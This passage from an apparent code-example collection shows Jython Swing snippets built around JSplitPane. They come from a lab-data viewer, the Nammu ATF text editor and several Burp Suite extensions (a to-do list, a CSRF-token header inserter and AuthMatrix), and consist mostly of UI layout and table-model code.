        hseg_tree_panel = self.make_hseg_tree_panel(hseg_at_deviations)

        self.split_pane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)

        self.split_pane.setOneTouchExpandable(True)
        self.split_pane.setContinuousLayout(True)
        self.split_pane.setResizeWeight(0.5)

        self.split_pane.add(chf_panel)
        self.split_pane.add(hseg_tree_panel)
        self.main_panel.add(self.split_pane, 'grow')
        self.revalidate()

    def show_exper_info(self):
        # sb = br.SimilarityBuilder()
        # cab = br.CollectionArchetypeBuilder()
        #
        # for hseg in self.exper.hsegs() :
        #     all_file_dict = hseg.file_dict()
        #     all_file_dict.update(hseg.cell_file_dict())
        #     all_file_dict.update(hseg.bin_file_dict())
        #     cab.add_collection(hseg.name, all_file_dict)
        #
        # hseg_at, hseg_at_deviations = cab.get_archetype_info()
        #
        # at_str = ''
        # for val in hseg_at :
        #     at_str += str(val) + '\n'

        chf_panel = self.make_chf_panel()
        hseg_tree_panel = self.make_hseg_tree_panel()

        self.split_pane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)

        self.split_pane.setOneTouchExpandable(True)
        self.split_pane.setContinuousLayout(True)
        self.split_pane.setResizeWeight(0.5)

        self.split_pane.add(chf_panel)
        self.split_pane.add(hseg_tree_panel)
        self.main_panel.add(self.split_pane, 'grow')
        self.revalidate()

    def make_chf_panel_old(self, at_str):
        """ cf --> common hseg files """

        chf_panel = JPanel()
        # chf_panel.setLayout(BoxLayout(chf_panel, BoxLayout.Y_AXIS))
        chf_panel.setLayout(MigLayout('insets 0'))
        # chf_panel.setAlignmentX(Component.LEFT_ALIGNMENT)

        chf_label = JLabel('Common Hemeisegment Files')
        # chf_label.setAlignmentX(Component.LEFT_ALIGNMENT)

        chf_panel.add(chf_label, 'grow, wrap')

        chf_text_area = JTextArea(at_str)
        chf_panel.add(chf_text_area, 'grow, push, span')
        return chf_panel

    def make_chf_panel(self):
        """ chf --> common hseg files """

        chf_panel = JPanel()
        # chf_panel.setLayout(BoxLayout(chf_panel, BoxLayout.Y_AXIS))
        chf_panel.setLayout(MigLayout('insets 0'))
        # chf_panel.setAlignmentX(Component.LEFT_ALIGNMENT)

        chf_files_label = JLabel('Hemisegment cells')
        chf_files_text = JTextArea(
            BobGui.archetype_to_str(
                self.exper.hseg_cell_files_cab().archetype))

        chf_panel.add(chf_files_label, 'growx, wrap')
        chf_panel.add(chf_files_text, 'grow, wrap')

        chf_files_label = JLabel('Hemisegment binary image files')
        chf_files_text = JTextArea(
            BobGui.archetype_to_str(self.exper.hseg_bin_files_cab().archetype))

        chf_panel.add(chf_files_label, 'growx, wrap')
        chf_panel.add(chf_files_text, 'grow, wrap')

        chf_files_label = JLabel('Other hemisegment files')
        chf_files_text = JTextArea(
            BobGui.archetype_to_str(self.exper.hseg_files_cab().archetype))

        chf_panel.add(chf_files_label, 'growx, wrap')
        chf_panel.add(chf_files_text, 'grow')
        # chf_label = JLabel('Common Hemeisegment Files')
        # # chf_label.setAlignmentX(Component.LEFT_ALIGNMENT)
        #
        # chf_panel.add(chf_label, 'grow, wrap')
        #
        # chf_text_area = JTextArea(at_str)
        # chf_panel.add(chf_text_area, 'grow, push, span')
        return chf_panel

    @staticmethod
    def archetype_to_str(archetype):

        at_str = ''
        for val in archetype:
            at_str += str(val) + '\n'
        return at_str

    # def make_hseg_tree_panel(self, hseg_at_deviations) :
    def make_hseg_tree_panel(self):
        root = DefaultMutableTreeNode(self.exper.name)

        for hseg in self.exper.hsegs():
            hseg_node = DefaultMutableTreeNode(hseg.name)
            root.add(hseg_node)
            hseg_at_deviations = self.exper.hseg_all_files_cab(
            ).archetype_deviations
            if len(hseg_at_deviations[hseg.name]) > 0:
                for definer, file_names in hseg_at_deviations[
                        hseg.name].items():
                    for file_name in file_names:
                        node_str = definer + ': ' + file_name

                        temp = DefaultMutableTreeNode(node_str)
                        hseg_node.add(temp)

        hseg_tree = JTree(root)
        hseg_tree.setCellRenderer(BobPyTreeCellRenderer())

        hseg_scroll_pane = JScrollPane()
        hseg_scroll_pane.getViewport().setView((hseg_tree))

        return hseg_scroll_pane

    def text_field_al(self, e):
        self.dir_path = self.dir_text_field.getText()
        self.got_exper(self.dir_path)

    def choose_dir_al(self, e):

        dc = DirectoryChooser('Choose a bob_py experiment folder')
        self.dir_path = dc.getDirectory()

        self.dir_text_field.setText(self.dir_path)
        self.got_exper(self.dir_path)

    def close_al(self, e):
        self.dispatchEvent(WindowEvent(self, WindowEvent.WINDOW_CLOSING))

    def got_exper(self, dir_path):
        self.exper = bob_py.Exper(dir_path)
        self.show_exper_info()
예제 #14
0
class BurpExtender(IBurpExtender, ITab, IHttpListener,
                   IMessageEditorController, AbstractTableModel,
                   IContextMenuFactory):

    #
    # implement IBurpExtender
    #

    def registerExtenderCallbacks(self, callbacks):
        # PDB debugging: connect sys.stdout and sys.stderr to Burp
        # sys.stdout = callbacks.getStdout()
        # sys.stderr = callbacks.getStderr()

        # keep a reference to our callbacks object
        self._callbacks = callbacks

        # obtain an extension helpers object
        self._helpers = callbacks.getHelpers()

        # set extension name
        callbacks.setExtensionName("To Do")

        # create the log and a lock on which to synchronize when adding
        # log entries
        self._log = ArrayList()
        self._lock = Lock()

        # main split pane
        self._splitpane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)

        # Configuration Tab
        self.initConfigTab()

        # table of to do entries
        logTable = Table(self)
        scrollPane = JScrollPane(logTable)
        self._splitpane.setLeftComponent(scrollPane)

        # Config tab
        self.tabs = JTabbedPane()
        self._configuration = self._callbacks.createMessageEditor(self, False)
        self.tabs.addTab("Configuration", self._configuration.getComponent())
        self._splitpane.setRightComponent(self.panel)

        # customize our UI components
        callbacks.customizeUiComponent(self._splitpane)
        callbacks.customizeUiComponent(logTable)
        callbacks.customizeUiComponent(scrollPane)

        # add the custom tab to Burp's UI
        callbacks.addSuiteTab(self)

        # register ourselves as an HTTP listener
        callbacks.registerHttpListener(self)

        # initialize tabs
        self.initTabs()

        # Print thank you, contact info, etc
        print("Thank you for installing Burp To Do List")
        print("created by Chris Lockard")
        print("https://github.com/chrislockard/BurpToDoList")
        return

    #
    # implement ITab
    #

    def getTabCaption(self):
        return "To Do"

    def getUiComponent(self):
        return self._splitpane

    def initConfigTab(self):
        # Init configuration tab
        self.test = JLabel("Configuration")
        self.test.setBounds(10, 10, 140, 30)

        self.panel = JPanel()
        self.panel.setBounds(0, 0, 1000, 1000)
        self.panel.setLayout(None)
        self.panel.add(self.test)

    def initTabs(self):
        # Init ToDo List Tabs
        self.logTable = Table(self)

        tableWidth = self.logTable.getPreferredSize().width
        self.logTable.getColumn("Complete?").setPreferredWidth(
            Math.round(tableWidth / 10 * 1))
        self.logTable.getColumn("Section").setPreferredWidth(
            Math.round(tableWidth / 10 * 3))
        self.logTable.getColumn("Task").setPreferredWidth(
            Math.round(tableWidth / 10 * 3))
        self.logTable.getColumn("Notes").setPreferredWidth(
            Math.round(tableWidth / 10 * 3))

        self.tableSorter = TableRowSorter(self)
        self.logTable.setRowSorter(self.tableSorter)

        self._splitpane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        self._splitpane.setResizeWeight(1)
        self.scrollPane = JScrollPane(self.logTable)
        self._splitpane.setLeftComponent(self.scrollPane)
        self.scrollPane.getVerticalScrollBar().addAdjustmentListener(
            autoScrollListener(self))

    def getRowCount(self):
        try:
            return self._log.size()
        except:
            return 0

    def getColumnCount(self):
        return 4

    def getColumnName(self, columnIndex):
        if columnIndex == 0:
            return "Complete?"
        if columnIndex == 1:
            return "Section"
        if columnIndex == 2:
            return "Task"
        if columnIndex == 3:
            return "Notes"
        return ""

    def getColumnClass(self, columnIndex):
        if columnIndex == 0:
            return checkbox
        if columnIndex == 1:
            return String
        if columnIndex == 2:
            return String
        if columnIndex == 3:
            return String
        return ""

    def getValueAt(self, rowIndex, columnIndex):
        logEntry = self._log.get(rowIndex)
        if columnIndex == 0:
            return self._callbacks.getToolName(logEntry._tool)
        if columnIndex == 1:
            return logEntry._url.toString()
        if columnIndex == 2:
            pass
        if columnIndex == 3:
            pass
        return ""
예제 #15
0
class BurpExtender(IBurpExtender, ITab, IHttpListener, AbstractTableModel, IContextMenuFactory):
    
    #
    # implement IBurpExtender
    #
    
    def registerExtenderCallbacks(self, callbacks):
        # set default values
        ## Pre-defined
        callbacks.setExtensionName("Body2Header")
        self._imenu_description = "Add this URL to the scope of Body2Header"
        self._remove_description = "Remove this URL from the scope"
        self._scopes = ArrayList()
        ## User-defined
        self._header_name_default = "X-CSRF-Token"
        self._value_source_regex_default = re.compile("<meta name=\"csrf-token\" content=\"(.*?)\">", re.MULTILINE)
        self._csrf_token = ""



        # store callbacks set an alias for stdout and helpers
        self._callbacks = callbacks
        self._out = callbacks.getStdout()
        self._helpers = callbacks.getHelpers()

        # initialize GUI
        callbacks.registerContextMenuFactory(self)
        self.initializeGUI()
        callbacks.addSuiteTab(self)
        
        # register ourselves as an HTTP listener
        callbacks.registerHttpListener(self)

      
    def log(self, message):
        self._out.write("[{0}] {1}\n".format(datetime.now().isoformat(),message))        
    #
    # implement IHttpListener
    #
    
    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        # only process if tools are in the setting
        if not self._checkboxes[toolFlag].isSelected():
            return None

        request_url = self._helpers.analyzeRequest(messageInfo).getUrl()

        if not messageIsRequest:
            body = self._helpers.bytesToString(messageInfo.getResponse()).encode('utf-8')
            for scope in self._scopes:
                if not scope.isMatch(request_url): continue
                csrf_token_b = scope.value_regex.search(body)
                if csrf_token_b != None:
                    scope.stored_value = csrf_token_b.group(1)
                    self.log("New value for {0}: {1}".format(scope.header_name, scope.stored_value))

        # only process requests/responses in the scope
        for scope in self._scopes:
            if not scope.isMatch(request_url): continue
            # Intercept and modify the request
            if messageIsRequest:            
                request = messageInfo.getRequest() 
                requestInfo = self._helpers.analyzeRequest(request)
            
                # update headers
                headers = requestInfo.getHeaders()
                headers = [h for h in headers if not h.startswith(scope.header_name+':')]
                if scope.header_name != "" and scope.stored_value != "":
                    headers.append(scope.header_name + ': ' + scope.stored_value)
                    self.log("{0} was added to the current request.".format(scope.header_name))


                # fetching body to rebubild the request
                body = request[requestInfo.getBodyOffset():]
                updatedRequest = self._helpers.buildHttpMessage(headers, body)
                messageInfo.setRequest(updatedRequest)                



    # Utilities
    def updateTokenSourceRegex(self, e):
        row = self._url_table.getSelectedRow()
        if row == -1:
            return
        self._scopes[row].value_regex = re.compile(self._form_value_regex.getText(), re.MULTILINE)
        self._label_value_regex_now_2.setText(self._scopes[row].value_regex.pattern)
        self.fireTableRowsUpdated(row, row)

        
    def updateHeaderName(self, e):
        row = self._url_table.getSelectedRow()
        if row == -1:
            return
        self._scopes[row].header_name = self._form_header.getText()
        self._label_header_now_2.setText(self._scopes[row].header_name)
        self.fireTableRowsUpdated(row, row)
        
    def addURLDirectly(self, e):
        row = self._scopes.size()
        self._scopes.add(ScopeInfo(self._form_add_url.getText(), self._value_source_regex_default, 
                                   url_regex = re.compile(self._form_add_url.getText(), re.MULTILINE), header_name = self._header_name_default))
        self._form_add_url.setText("")
        self.fireTableRowsInserted(row, row)
    
    def removeFromScope(self, invocation):
        index_to_delete = self._url_table.getSelectedRow()
        self._scopes.pop(index_to_delete)
        self.fireTableRowsDeleted(index_to_delete, index_to_delete)

    def addToScope(self, invocation):
        messagesInfo = self._add_invocation.getSelectedMessages()
        row = self._scopes.size()
        for messageInfo in messagesInfo:
            self._scopes.add(ScopeInfo(self._helpers.analyzeRequest(messageInfo).getUrl(), self._value_source_regex_default, header_name = self._header_name_default))
        self.fireTableRowsInserted(row, row)

    #
    # implement IContextMenuFactory
    #

    def createMenuItems(self, invocation):
        self._add_invocation = invocation
        self._imenu = JMenuItem(self._imenu_description, actionPerformed=self.addToScope)
        return [self._imenu]

    #
    # extend AbstractTableModel
    #
    
    def getRowCount(self):
        try:
            return self._scopes.size()
        except:
            return 0

    def getColumnCount(self):
        return 3

    def getColumnName(self, columnIndex):
        if columnIndex == 0:
            return "URL Regex"
        if columnIndex == 1:
            return "Value Regex"
        if columnIndex == 2:
            return "Header Name"
        return ""

    def getValueAt(self, rowIndex, columnIndex):
        if columnIndex == 0:
            return self._scopes[rowIndex].url_regex.pattern
        if columnIndex == 1:
            return self._scopes[rowIndex].value_regex.pattern
        if columnIndex == 2:
            return self._scopes[rowIndex].header_name
        return ""

    #
    # implement ITab
    #    

    def getTabCaption(self):
        return "Body2Header"
    
    def getUiComponent(self):
        return self._splitpane

    #
    # GUI settings
    #

    def initializeGUI(self):
        # table panel of scope entries
        self._url_table = Table(self)
        table_popup = JPopupMenu();
        remove_item_menu = JMenuItem(self._remove_description, actionPerformed=self.removeFromScope)
        table_popup.add(remove_item_menu)
        self._url_table.setComponentPopupMenu(table_popup)
        self._url_table.addMouseListener(TableMouseListener(self._url_table))
        scrollPane = JScrollPane(self._url_table)

        # setting panel              

        ##  locate checkboxes
        ### for constants, see: https://portswigger.net/burp/extender/api/constant-values.html#burp.IBurpExtenderCallbacks.TOOL_PROXY          
        self._checkboxes = {
            2:    JCheckBox('Target'),
            4:    JCheckBox('Proxy'),
            8:    JCheckBox('Spider'),
            16:   JCheckBox('Scanner'),
            32:   JCheckBox('Intruder'),            
            64:   JCheckBox('Repeater'),
            128:  JCheckBox('Sequencer'),
            1024: JCheckBox('Extender')
        }
        checkboxes_components = {0: dict(zip(range(1,len(self._checkboxes) + 1), self._checkboxes.values()))}

        self._label_value_regex_now_1 = JLabel("(1) Regex for the value to store: ")
        self._label_value_regex_now_2 = JLabel("")
        self._label_value_regex = JLabel("(1) New regex:")
        self._form_value_regex = JTextField("", 64)
        self._button_value_regex = JButton('Update', actionPerformed=self.updateTokenSourceRegex)        
        self._label_header_now_1 = JLabel("(2) Header for sending the value: ")
        self._label_header_now_2 = JLabel("")
        self._label_header = JLabel("(2) New header key: ")
        self._form_header = JTextField("", 64)
        self._button_header = JButton('Update', actionPerformed=self.updateHeaderName)
        self._label_add_url = JLabel("Add this URL: ")
        self._form_add_url = JTextField("", 64)
        self._button_add_url = JButton('Add', actionPerformed=self.addURLDirectly)
                
        ## logate regex settings
        ui_components_for_settings_pane = {
            0: { 0: JLabel("Local Settings:") },
            1: { 0: self._label_value_regex_now_1, 1: self._label_value_regex_now_2 },
            2: { 0: self._label_value_regex, 1: self._form_value_regex, 2: self._button_value_regex},
            3: { 0: self._label_header_now_1, 1: self._label_header_now_2 },
            4: { 0: self._label_header, 1: self._form_header, 2: self._button_header},
            5: { 0: {'item': JSeparator(JSeparator.HORIZONTAL), 'width': 3, }},
            6: { 0: JLabel("General Settings:") },
            7: { 0: self._label_add_url, 1: self._form_add_url, 2: self._button_add_url},
            8: { 0: JLabel("Use this extender in:"), 1: {'item': self.compose_ui(checkboxes_components), 'width': 3} }
        }
        # build a split panel & set UI component
        self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT)
        self._splitpane.setResizeWeight(0.85)
        self._splitpane.setLeftComponent(scrollPane)
        self._splitpane.setRightComponent(self.compose_ui(ui_components_for_settings_pane))
        self._callbacks.customizeUiComponent(self._splitpane)
     
    def compose_ui(self, components):
        panel = JPanel() 
        panel.setLayout(GridBagLayout())
        constraints= GridBagConstraints()
        constraints.fill = GridBagConstraints.HORIZONTAL
        constraints.insets = Insets(2, 1, 2, 1)
        for i in components:
            for j in components[i]:
                constraints.gridy, constraints.gridx = i, j
                constraints.gridwidth = components[i][j]['width'] if type(components[i][j]) == dict and 'width' in components[i][j] else 1
                constraints.gridheight = components[i][j]['height'] if type(components[i][j]) == dict and 'height' in components[i][j] else 1
                item = components[i][j]['item'] if type(components[i][j]) == dict and 'item' in components[i][j] else components[i][j]
                panel.add(item, constraints)
        return panel    
예제 #16
0
class AtfAreaView(JPanel):
    '''
    Initializes the ATF (edit/model) view and sets its layout.
    '''
    def __init__(self, controller):
        '''
        Creates default empty text area in a panel for ATF edition.
        It has syntax highlighting based on the ATF parser (pyoracc).
        It also highlights line numbers where there are validations errors
        returned by the ORACC server.
        '''
        # Give reference to controller to delegate action response
        self.controller = controller

        # Make text area occupy all available space and resize with parent
        # window
        self.setLayout(BorderLayout())

        # Short hand for edit area and line numbers area
        self.edit_area = self.controller.edit_area
        self.line_numbers_area = self.controller.line_numbers_area

        # Create secondary text area for split view
        self.secondary_area = self.controller.secondary_area
        self.secondary_line_numbers = self.controller.secondary_line_numbers

        # Set undo/redo manager to edit area
        self.undo_manager = UndoManager()
        self.undo_manager.limit = 3000
        self.edit_listener = AtfUndoableEditListener(self.undo_manager)
        self.edit_area.getDocument().addUndoableEditListener(
            self.edit_listener)

        # Sort out layout by synch-ing line numbers and text area and putting
        # only the text area in a scroll pane as indicated in the
        # TextLineNumber tutorial.
        self.edit_area.setPreferredSize(Dimension(1, 500))
        self.container = JScrollPane(self.edit_area)
        self.container.setRowHeaderView(self.line_numbers_area)
        self.add(self.container, BorderLayout.CENTER)

        # Key listener that triggers syntax highlighting, etc. upon key release
        self.edit_area.addKeyListener(AtfAreaKeyListener(self.controller))
        # Also needed in secondary area:
        self.secondary_area.addKeyListener(AtfAreaKeyListener(self.controller))

    def toggle_split(self, split_orientation=None):
        '''
        Clear ATF edit area and repaint chosen layout (splitscreen/scrollpane).
        '''
        # Remove all existent components in parent JPanel
        self.removeAll()
        # Check what editor view to toggle
        self.setup_edit_area(split_orientation)
        # Revalitate is needed in order to repaint the components
        self.revalidate()
        self.repaint()

    def setup_edit_area(self, split_orientation=None):
        '''
        Check if the ATF text area is being displayed in a split editor.
        If so, resets to normal JScrollPane. If not, splits the screen.
        '''
        if isinstance(self.container, JSplitPane):
            # If Nammu is already displaying a split pane, reset to original
            # setup
            self.container = JScrollPane(self.edit_area)
            self.container.setRowHeaderView(self.line_numbers_area)
            self.container.setVisible(True)
            self.add(self.container, BorderLayout.CENTER)
        else:
            # If there is not a split pane, create both panels and setup view
            main_editor = JScrollPane(self.edit_area)
            main_editor.setRowHeaderView(self.line_numbers_area)
            secondary_editor = JScrollPane(self.secondary_area)
            secondary_editor.setRowHeaderView(self.secondary_line_numbers)
            self.container = JSplitPane(split_orientation, main_editor,
                                        secondary_editor)
            self.container.setDividerSize(5)
            self.container.setVisible(True)
            self.container.setDividerLocation(0.5)
            self.container.setResizeWeight(0.5)
            self.add(self.container, BorderLayout.CENTER)
예제 #17
0
파일: AtfAreaView.py 프로젝트: oracc/nammu
class AtfAreaView(JPanel):
    '''
    Initializes the ATF (edit/model) view and sets its layout.
    '''
    def __init__(self, controller):
        '''
        Creates default empty text area in a panel for ATF edition.
        It has syntax highlighting based on the ATF parser (pyoracc).
        It also highlights line numbers where there are validations errors
        returned by the ORACC server.
        '''
        # Give reference to controller to delegate action response
        self.controller = controller

        # Make text area occupy all available space and resize with parent
        # window
        self.setLayout(BorderLayout())

        # Short hand for edit area and line numbers area
        self.edit_area = self.controller.edit_area
        self.line_numbers_area = self.controller.line_numbers_area

        # Create secondary text area for split view
        self.secondary_area = self.controller.secondary_area
        self.secondary_line_numbers = self.controller.secondary_line_numbers

        # Set undo/redo manager to edit area
        self.undo_manager = UndoManager()
        self.undo_manager.limit = 3000
        self.edit_listener = AtfUndoableEditListener(self.undo_manager)
        self.edit_area.getDocument().addUndoableEditListener(
                                                        self.edit_listener)

        # Sort out layout by synch-ing line numbers and text area and putting
        # only the text area in a scroll pane as indicated in the
        # TextLineNumber tutorial.
        self.edit_area.setPreferredSize(Dimension(1, 500))
        self.container = JScrollPane(self.edit_area)
        self.container.setRowHeaderView(self.line_numbers_area)
        self.add(self.container, BorderLayout.CENTER)

        self.vert_scroll = self.container.getVerticalScrollBar()
        self.vert_scroll.addAdjustmentListener(atfAreaAdjustmentListener(self))

        # Key listener that triggers syntax highlighting, etc. upon key release
        self.edit_area.addKeyListener(AtfAreaKeyListener(self))
        # Also needed in secondary area:
        self.secondary_area.addKeyListener(AtfAreaKeyListener(self))

        # Add a document listener to track changes to files
        docListener = atfAreaDocumentListener(self)
        self.edit_area.getDocument().addDocumentListener(docListener)

        # instance variable to store a record of the text contents prior to the
        # most recent change. Needed so that the different listeners can access
        # this to handle error line updating.
        self.oldtext = ''

    def toggle_split(self, split_orientation=None):
        '''
        Clear ATF edit area and repaint chosen layout (splitscreen/scrollpane).
        '''
        # Remove all existent components in parent JPanel
        self.removeAll()
        # Check what editor view to toggle
        self.setup_edit_area(split_orientation)
        # Revalitate is needed in order to repaint the components
        self.revalidate()
        self.repaint()

    def setup_edit_area(self, split_orientation=None):
        '''
        Check if the ATF text area is being displayed in a split editor.
        If so, resets to normal JScrollPane. If not, splits the screen.
        '''
        if isinstance(self.container, JSplitPane):
            # If Nammu is already displaying a split pane, reset to original
            # setup
            self.container = JScrollPane(self.edit_area)
            self.container.setRowHeaderView(self.line_numbers_area)
            self.container.setVisible(True)
            self.add(self.container, BorderLayout.CENTER)
        else:
            # If there is not a split pane, create both panels and setup view
            main_editor = JScrollPane(self.edit_area)
            main_editor.setRowHeaderView(self.line_numbers_area)
            secondary_editor = JScrollPane(self.secondary_area)
            secondary_editor.setRowHeaderView(self.secondary_line_numbers)
            self.container = JSplitPane(split_orientation,
                                        main_editor,
                                        secondary_editor)
            self.container.setDividerSize(5)
            self.container.setVisible(True)
            self.container.setDividerLocation(0.5)
            self.container.setResizeWeight(0.5)
            self.add(self.container, BorderLayout.CENTER)

    def get_viewport_carets(self):
        '''
        Get the top left and bottom left caret position of the current viewport
        '''
        extent = self.container.getViewport().getExtentSize()
        top_left_position = self.container.getViewport().getViewPosition()
        top_left_char = self.edit_area.viewToModel(top_left_position)
        bottom_left_position = Point(top_left_position.x,
                                     top_left_position.y + extent.height)
        bottom_left_char = self.edit_area.viewToModel(bottom_left_position)

        # Something has gone wrong. Assume that top_left should be at the start
        # of the file
        if top_left_char >= bottom_left_char:
            top_left_char = 0

        # Get the text in the full edit area
        text = self.controller.edit_area.getText()

        # Pad the top of the viewport to capture up to the nearest header and
        # the bottom by 2 lines
        top_ch = self.controller.pad_top_viewport_caret(top_left_char, text)
        bottom_ch = self.controller.pad_bottom_viewport_caret(bottom_left_char,
                                                              text)

        return top_ch, bottom_ch

    def refresh(self):
        '''
        Restyle edit area using user selected appearance settings.
        '''

        config = self.controller.controller.config

        # Create a new font with the new size
        font = set_font(config['edit_area_style']['fontsize']['user'])

        # Update the sytnax highlighter font params, so our changes are not
        # superceded
        self.controller.syntax_highlighter.font = font
        self.controller.syntax_highlighter.setup_attribs()

        attrs = self.controller.edit_area.getInputAttributes()
        StyleConstants.setFontSize(attrs, font.getSize())

        # Get the Styledoc so we can update it
        doc = self.controller.edit_area.getStyledDocument()

        # Apply the new fontsize to the whole document
        doc.setCharacterAttributes(0, doc.getLength() + 1, attrs, False)
예제 #18
0
    def	registerExtenderCallbacks(self, callbacks):
    
        # keep a reference to our Burp callbacks object
        self._callbacks = callbacks
        # obtain an Burp extension helpers object
        self._helpers = callbacks.getHelpers()
        # set our extension name
        callbacks.setExtensionName("AuthMatrix - v0.5.2")

        # DB that holds everything users, roles, and messages
        self._db = MatrixDB()

        # For saving/loading config
        self._fc = JFileChooser()        

        # Used by ActionListeners
        selfExtender = self
        self._selectedColumn = -1
        self._selectedRow = -1


        # Table of User entries
        self._userTable = UserTable(self, model = UserTableModel(self._db))
        roleScrollPane = JScrollPane(self._userTable)
        self._userTable.redrawTable()

        # Table of Request (AKA Message) entries
        self._messageTable = MessageTable(self, model = MessageTableModel(self._db))
        messageScrollPane = JScrollPane(self._messageTable)
        self._messageTable.redrawTable()


        # Semi-Generic Popup stuff
        def addPopup(component, popup):
            class genericMouseListener(MouseAdapter):
                def mousePressed(self, e):
                    if e.isPopupTrigger():
                        self.showMenu(e)
                def mouseReleased(self, e):
                    if e.isPopupTrigger():
                        self.showMenu(e)
                def showMenu(self, e):
                    if type(component) is JTableHeader:
                        table = component.getTable()
                        column = component.columnAtPoint(e.getPoint())
                        if type(table) is MessageTable and column >= selfExtender._db.STATIC_MESSAGE_TABLE_COLUMN_COUNT or type(table) is UserTable and column >= selfExtender._db.STATIC_USER_TABLE_COLUMN_COUNT:
                            selfExtender._selectedColumn = column
                        else:
                            return
                    else:
                        selfExtender._selectedRow = component.rowAtPoint(e.getPoint())
                    popup.show(e.getComponent(), e.getX(), e.getY())
            component.addMouseListener(genericMouseListener())

        class actionRunMessage(ActionListener):
            def actionPerformed(self,e):
                if selfExtender._selectedRow >= 0:
                    if selfExtender._selectedRow not in selfExtender._messageTable.getSelectedRows():
                        indexes = [selfExtender._db.getMessageByRow(selfExtender._selectedRow)._index]
                    else:
                        indexes = [selfExtender._db.getMessageByRow(rowNum)._index for rowNum in selfExtender._messageTable.getSelectedRows()]
                    t = Thread(target=selfExtender.runMessagesThread, args = [indexes])
                    t.start()
                    selfExtender._selectedColumn = -1
                    # Redrawing the table happens in colorcode within the thread

        class actionRemoveMessage(ActionListener):
            def actionPerformed(self,e):
                if selfExtender._selectedRow >= 0:
                    if selfExtender._selectedRow not in selfExtender._messageTable.getSelectedRows():
                        indexes = [selfExtender._db.getMessageByRow(selfExtender._selectedRow)._index]
                    else:
                        indexes = [selfExtender._db.getMessageByRow(rowNum)._index for rowNum in selfExtender._messageTable.getSelectedRows()]
                    for i in indexes:
                        selfExtender._db.deleteMessage(i)
                    selfExtender._selectedColumn = -1
                    selfExtender._messageTable.redrawTable()

        class actionRemoveUser(ActionListener):
            def actionPerformed(self,e):
                if selfExtender._selectedRow >= 0:
                    if selfExtender._selectedRow not in selfExtender._userTable.getSelectedRows():
                        indexes = [selfExtender._db.getUserByRow(selfExtender._selectedRow)._index]
                    else:
                        indexes = [selfExtender._db.getUserByRow(rowNum)._index for rowNum in selfExtender._userTable.getSelectedRows()]
                    for i in indexes:
                        selfExtender._db.deleteUser(i)
                    selfExtender._selectedColumn = -1
                    selfExtender._userTable.redrawTable()

        # TODO combine these next two classes
        class actionRemoveRoleHeaderFromMessageTable(ActionListener):
            def actionPerformed(self,e):
                if selfExtender._selectedColumn >= 0:
                    selfExtender._db.deleteRole(selfExtender._db.getRoleByMessageTableColumn(selfExtender._selectedColumn)._index)
                    selfExtender._selectedColumn = -1
                    selfExtender._userTable.redrawTable()
                    selfExtender._messageTable.redrawTable()

        class actionRemoveRoleHeaderFromUserTable(ActionListener):
            def actionPerformed(self,e):
                if selfExtender._selectedColumn >= 0:
                    selfExtender._db.deleteRole(selfExtender._db.getRoleByUserTableColumn(selfExtender._selectedColumn)._index)
                    selfExtender._selectedColumn = -1
                    selfExtender._userTable.redrawTable()
                    selfExtender._messageTable.redrawTable()


        # Message Table popups
        messagePopup = JPopupMenu()
        addPopup(self._messageTable,messagePopup)
        messageRun = JMenuItem("Run Request(s)")
        messageRun.addActionListener(actionRunMessage())
        messagePopup.add(messageRun)
        messageRemove = JMenuItem("Remove Request(s)")
        messageRemove.addActionListener(actionRemoveMessage())
        messagePopup.add(messageRemove)

        messageHeaderPopup = JPopupMenu()
        addPopup(self._messageTable.getTableHeader(),messageHeaderPopup)
        roleRemoveFromMessageTable = JMenuItem("Remove Role")
        roleRemoveFromMessageTable.addActionListener(actionRemoveRoleHeaderFromMessageTable())
        messageHeaderPopup.add(roleRemoveFromMessageTable)

        # User Table popup
        userPopup = JPopupMenu()
        addPopup(self._userTable,userPopup)
        userRemove = JMenuItem("Remove Users(s)")
        userRemove.addActionListener(actionRemoveUser())
        userPopup.add(userRemove)

        userHeaderPopup = JPopupMenu()
        addPopup(self._userTable.getTableHeader(),userHeaderPopup)
        roleRemoveFromUserTable = JMenuItem("Remove Role")
        roleRemoveFromUserTable.addActionListener(actionRemoveRoleHeaderFromUserTable())
        userHeaderPopup.add(roleRemoveFromUserTable)

        # Top pane
        topPane = JSplitPane(JSplitPane.VERTICAL_SPLIT,roleScrollPane,messageScrollPane)

        # request tabs added to this tab on click in message table
        self._tabs = JTabbedPane()

        # Button pannel
        buttons = JPanel()
        runButton = JButton("Run", actionPerformed=self.runClick)
        newUserButton = JButton("New User", actionPerformed=self.getInputUserClick)
        newRoleButton = JButton("New Role", actionPerformed=self.getInputRoleClick)
        #debugButton = JButton("Debug", actionPerformed=self.printDB)
        saveButton = JButton("Save", actionPerformed=self.saveClick)
        loadButton = JButton("Load", actionPerformed=self.loadClick)
        clearButton = JButton("Clear", actionPerformed=self.clearClick)
        buttons.add(runButton)
        buttons.add(newUserButton)
        buttons.add(newRoleButton)
        #buttons.add(debugButton)
        buttons.add(saveButton)
        buttons.add(loadButton)
        buttons.add(clearButton)

        bottomPane = JSplitPane(JSplitPane.VERTICAL_SPLIT, self._tabs, buttons)

        # Main Pane
        self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT, topPane, bottomPane)
        


        # customize our UI components
        callbacks.customizeUiComponent(self._splitpane)
        callbacks.customizeUiComponent(topPane)
        callbacks.customizeUiComponent(bottomPane)
        callbacks.customizeUiComponent(messageScrollPane)
        callbacks.customizeUiComponent(roleScrollPane)
        callbacks.customizeUiComponent(self._messageTable)
        callbacks.customizeUiComponent(self._userTable)
        callbacks.customizeUiComponent(self._tabs)
        callbacks.customizeUiComponent(buttons)

        self._splitpane.setResizeWeight(0.5)
        topPane.setResizeWeight(0.3)
        bottomPane.setResizeWeight(0.95)


        # Handles checkbox color coding
        # Must be bellow the customizeUiComponent calls
        self._messageTable.setDefaultRenderer(Boolean, SuccessBooleanRenderer(self._db))


        # add the custom tab to Burp's UI
        callbacks.addSuiteTab(self)        
        # register SendTo option
        callbacks.registerContextMenuFactory(self)

        return
예제 #19
0
class BurpExtender(IBurpExtender, ITab, IMessageEditorController, IContextMenuFactory):
    
    #
    # implement IBurpExtender
    #
    
    def	registerExtenderCallbacks(self, callbacks):
    
        # keep a reference to our Burp callbacks object
